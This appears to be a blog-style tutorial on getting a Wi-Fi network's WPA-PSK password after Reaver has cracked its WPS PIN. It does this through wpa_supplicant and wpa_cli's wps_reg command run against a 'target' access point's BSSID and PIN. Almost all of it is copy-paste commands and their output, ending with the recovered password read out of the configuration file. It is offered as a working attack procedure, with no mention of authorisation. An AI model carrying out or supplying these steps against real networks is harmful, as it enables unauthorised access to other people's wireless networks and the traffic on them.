Reaver cracked WPS PIN but does not reveal WPA-PSK password (SOLVED)

If your WPS PIN attack was successful but Reaver did not show WPA-PSK passphrase, try to launch Reaver again with -p option. If it does not help, use the following method.

Your wireless interface should be in Managed Mode. Also it is necessary to stop NetworkManager:

sudo systemctl stop NetworkManager

Now create text file named wpa_supplicant.conf:

sudo gedit /etc/wpa_supplicant.conf

Copy-Paste these strings:

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1

Save and close the file.

Then get to know the name of your wireless interface:

sudo iw dev

After that issue the command:

sudo wpa_supplicant -i <INTERFACE> -c /etc/wpa_supplicant.conf

Where replace <INTERFACE> with actual name of wireless network interface. For instance, my interface is called wlan0, so I type:

sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf

You should see the output:

Successfully initialized wpa_supplicant

Do not close the first terminal window (!), open one more terminal and type:

sudo wpa_cli

In the second window type:

status

You will get output like this:

wpa_state=DISCONNECTED
address=00:c0:ca:90:0d:9f
uuid=94f89bab-973e-5dcb-86ac-8cae574b7f0e

It is necessary to know BSSID and PIN of the target Access Point to compose a command:

wps_reg xx:xx:xx:xx:xx:xx 12345678

For instance, MAC of my target AP is 00:1E:58:C6:AC:FB, and its PIN is 82452995. So I issue:

wps_reg 00:1E:58:C6:AC:FB 82452995

Enter this new command in the second terminal window.

Wait until you see:

CTRL-EVENT-CONNECTED - Connection to 00:1e:58:c6:ac:fb completed [id=0 id_str=]

Then you may close both windows (CTRL+c).

Open the file in which we saved three lines:

sudo gedit /etc/wpa_supplicant.conf

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
 
network={
    ssid="dlink"
    psk="testtest"
    key_mgmt=WPA-PSK
    pairwise=TKIP
    auth_alg=OPEN
}

As you can see, several new lines were added to it. Look at psk="testtest". Here we found the WPA Wi-Fi password. It is testtest.